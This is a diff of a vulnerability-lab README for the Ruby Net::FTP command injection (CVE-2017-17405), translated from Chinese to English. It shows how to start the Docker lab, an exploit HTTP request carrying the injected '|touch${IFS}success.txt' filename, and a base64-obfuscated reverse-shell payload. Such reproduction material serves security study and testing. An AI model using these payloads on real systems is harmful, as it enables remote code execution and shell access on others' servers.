|
1 |
| -# Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405) |
| 1 | +# Ruby Net::FTP Module Command Injection (CVE-2017-17405) |
2 | 2 |
|
3 |
| -Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了`open`函数。而在ruby中,`open`函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。 |
| 3 | +[中文版本(Chinese version)](README.zh-cn.md) |
4 | 4 |
|
5 |
| -## 环境搭建 |
| 5 | +Ruby Net::FTP module is a FTP library provided by Ruby core. |
6 | 6 |
|
7 |
| -编译及运行漏洞环境: |
| 7 | +Ruby before 2.4.3 allows Net::FTP command injection. `Net::FTP#get`, `getbinaryfile`, `gettextfile`, `put`, `putbinaryfile`, and `puttextfile` use `Kernel#open` to open a local file. If the localfile argument starts with the "|" pipe character, the command following the pipe character is executed. The default value of localfile is `File.basename(remotefile)`, so malicious FTP servers could cause arbitrary command execution. |
| 8 | + |
| 9 | +## Vulnerable environment |
| 10 | + |
| 11 | +Execute following command to start a Ruby 2.4.1 webserver that uses Net::FTP to download FTP file: |
8 | 12 |
|
9 | 13 | ```
|
10 |
| -docker compose build |
11 | 14 | docker compose up -d
|
12 | 15 | ```
|
13 | 16 |
|
14 |
| -环境启动后,访问`http://your-ip:8080/`将可以看到一个HTTP服务。这个HTTP服务的作用是,我们访问`http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`,它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地,并将内容返回给用户。 |
| 17 | +After the server is started, a simple webserver is running on `http://your-ip:8080/`. What this server does is that when we visit `http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`, it downloads the file `vulhub.txt` from FTP server `example.com:2121`. |
15 | 18 |
|
16 |
| -## 漏洞复现 |
| 19 | +## Exploit |
17 | 20 |
|
18 |
| -因为这是一个FTP客户端的漏洞,所以我们需要先运行一个可以被访问到的服务端。比如使用python: |
| 21 | +Since this is an FTP client vulnerability, we have to to run a simple FTP server that can be accessed. For example, using Python's pyftpdlib: |
19 | 22 |
|
20 | 23 | ```
|
21 |
| -# 安装pyftpdlib |
| 24 | +# intsall pyftpdlib |
22 | 25 | pip install pyftpdlib
|
23 | 26 |
|
24 |
| -# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:2121`端口 |
| 27 | +# start a FTP server on `0.0.0.0:2121` |
25 | 28 | python3 -m pyftpdlib -p 2121 -i 0.0.0.0
|
26 | 29 | ```
|
27 | 30 |
|
28 |
| -然后即可开始利用漏洞。注入命令`|touch${IFS}success.txt`(空格用`${IFS}`代替,原因不表),发送如下数据包即可(其中uri指定的ftp服务器就是我用python运行的一个简单的ftp server,其中无需放置任何文件): |
| 31 | +Then, use this FTP server address as the *uri* parameter and the payload `|touch${IFS}success.txt` as the *file* parameter in following request: |
| 32 | + |
| 33 | +``` |
| 34 | +GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1 |
| 35 | +Host: localhost:8080 |
| 36 | +Accept-Encoding: gzip, deflate, br |
| 37 | +Accept: */* |
| 38 | +Accept-Language: en-US;q=0.9,en;q=0.8 |
| 39 | +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 |
| 40 | +Connection: close |
| 41 | +Cache-Control: max-age=0 |
| 42 | +
|
| 43 | +
|
| 44 | +``` |
29 | 45 |
|
30 | 46 | 
|
31 | 47 |
|
32 |
| -然后进入docker容器内,可见success.txt已被创建: |
| 48 | +Go into the docker container, you can see the `success.txt` has been created successfully: |
33 | 49 |
|
34 | 50 | 
|
35 | 51 |
|
36 |
| -执行反弹shell的命令`|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'`,成功反弹: |
| 52 | +Change the payload to `|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'` and get a reverse shell: |
37 | 53 |
|
38 | 54 | 
|
0 commit comments